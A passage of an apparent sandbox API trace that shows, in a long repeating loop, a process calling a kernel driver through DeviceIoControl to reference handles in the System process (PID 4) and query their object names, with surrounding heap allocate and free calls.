HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021345e0, HandleInformation=0x0) returned 0x0 [0103.109] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.109] PsReleaseProcessExitSynchronization () returned 0x2 [0103.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.109] ObQueryNameString (in: Object=0xfffffa80021345e0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.109] ObfDereferenceObject (Object=0xfffffa80021345e0) returned 0x2 [0103.109] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.109] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.109] PsAcquireProcessExitSynchronization () returned 0x0 [0103.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.109] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800226f050, HandleInformation=0x0) returned 0x0 [0103.109] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.109] PsReleaseProcessExitSynchronization () returned 0x2 [0103.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.109] ObQueryNameString (in: Object=0xfffffa800226f050, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.109] ObfDereferenceObject (Object=0xfffffa800226f050) returned 0x2 [0103.109] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.109] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.109] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.109] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.109] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.109] PsAcquireProcessExitSynchronization () returned 0x0 [0103.109] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.109] ObReferenceObjectByHandle (in: Handle=0xffffffff80000908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0103.109] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.109] PsReleaseProcessExitSynchronization () returned 0x2 [0103.109] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.109] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.109] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0103.109] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.110] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.110] PsAcquireProcessExitSynchronization () returned 0x0 [0103.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.110] ObReferenceObjectByHandle (in: Handle=0xffffffff80000918, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023e0860, HandleInformation=0x0) returned 0x0 [0103.110] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.110] PsReleaseProcessExitSynchronization () returned 0x2 [0103.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.110] ObQueryNameString (in: Object=0xfffffa80023e0860, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.110] ObfDereferenceObject (Object=0xfffffa80023e0860) returned 0x2 [0103.110] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.110] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.110] PsAcquireProcessExitSynchronization () returned 0x0 [0103.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.110] ObReferenceObjectByHandle (in: Handle=0xffffffff80000924, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002350860, HandleInformation=0x0) returned 0x0 [0103.110] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.110] PsReleaseProcessExitSynchronization () returned 0x2 [0103.110] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.110] ObQueryNameString (in: Object=0xfffffa8002350860, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.110] ObfDereferenceObject (Object=0xfffffa8002350860) returned 0x2 [0103.110] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.110] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.110] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.110] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.110] PsAcquireProcessExitSynchronization () returned 0x0 [0103.110] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.111] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019d8400, HandleInformation=0x0) returned 0x0 [0103.111] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.111] PsReleaseProcessExitSynchronization () returned 0x2 [0103.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.111] ObQueryNameString (in: Object=0xfffffa80019d8400, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.111] ObfDereferenceObject (Object=0xfffffa80019d8400) returned 0x2 [0103.111] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.111] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.111] PsAcquireProcessExitSynchronization () returned 0x0 [0103.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.111] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800200c050, HandleInformation=0x0) returned 0x0 [0103.111] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.111] PsReleaseProcessExitSynchronization () returned 0x2 [0103.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.111] ObQueryNameString (in: Object=0xfffffa800200c050, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.111] ObfDereferenceObject (Object=0xfffffa800200c050) returned 0x2 [0103.111] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.111] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.111] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.111] PsAcquireProcessExitSynchronization () returned 0x0 [0103.111] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.111] ObReferenceObjectByHandle (in: Handle=0xffffffff80000968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003312a40, HandleInformation=0x0) returned 0x0 [0103.111] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.111] PsReleaseProcessExitSynchronization () returned 0x2 [0103.111] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.111] ObQueryNameString (in: Object=0xfffffa8003312a40, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.111] ObfDereferenceObject (Object=0xfffffa8003312a40) returned 0x2 [0103.111] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.112] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.112] PsAcquireProcessExitSynchronization () returned 0x0 [0103.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.112] ObReferenceObjectByHandle (in: Handle=0xffffffff8000097c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0103.112] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.112] PsReleaseProcessExitSynchronization () returned 0x2 [0103.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.112] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.112] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0103.112] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.112] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.112] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.112] PsAcquireProcessExitSynchronization () returned 0x0 [0103.112] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.112] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003424050, HandleInformation=0x0) returned 0x0 [0103.112] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.112] PsReleaseProcessExitSynchronization () returned 0x2 [0103.112] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.112] ObQueryNameString (in: Object=0xfffffa8003424050, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.112] ObfDereferenceObject (Object=0xfffffa8003424050) returned 0x2 [0103.112] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.112] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.112] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.113] PsAcquireProcessExitSynchronization () returned 0x0 [0103.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80033faf20, HandleInformation=0x0) returned 0x0 [0103.113] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.113] PsReleaseProcessExitSynchronization () returned 0x2 [0103.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.113] ObQueryNameString (in: Object=0xfffffa80033faf20, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.113] ObfDereferenceObject (Object=0xfffffa80033faf20) returned 0x2 [0103.113] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.113] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.113] PsAcquireProcessExitSynchronization () returned 0x0 [0103.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.113] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800342a3e0, HandleInformation=0x0) returned 0x0 [0103.113] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.113] PsReleaseProcessExitSynchronization () returned 0x2 [0103.113] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.113] ObQueryNameString (in: Object=0xfffffa800342a3e0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.113] ObfDereferenceObject (Object=0xfffffa800342a3e0) returned 0x2 [0103.113] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.113] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.113] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.113] PsAcquireProcessExitSynchronization () returned 0x0 [0103.113] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0103.114] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.114] PsReleaseProcessExitSynchronization () returned 0x2 [0103.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.114] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.114] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0103.114] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.114] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.114] PsAcquireProcessExitSynchronization () returned 0x0 [0103.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0103.114] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.114] PsReleaseProcessExitSynchronization () returned 0x2 [0103.114] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.114] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.114] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0103.114] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.114] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.114] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.114] PsAcquireProcessExitSynchronization () returned 0x0 [0103.114] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.114] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003733d00, HandleInformation=0x0) returned 0x0 [0103.114] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.115] PsReleaseProcessExitSynchronization () returned 0x2 [0103.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.115] ObQueryNameString (in: Object=0xfffffa8003733d00, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.115] ObfDereferenceObject (Object=0xfffffa8003733d00) returned 0x2 [0103.115] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.115] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.115] PsAcquireProcessExitSynchronization () returned 0x0 [0103.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.115] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035fa830, HandleInformation=0x0) returned 0x0 [0103.115] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.115] PsReleaseProcessExitSynchronization () returned 0x2 [0103.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.115] ObQueryNameString (in: Object=0xfffffa80035fa830, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.115] ObfDereferenceObject (Object=0xfffffa80035fa830) returned 0x2 [0103.115] 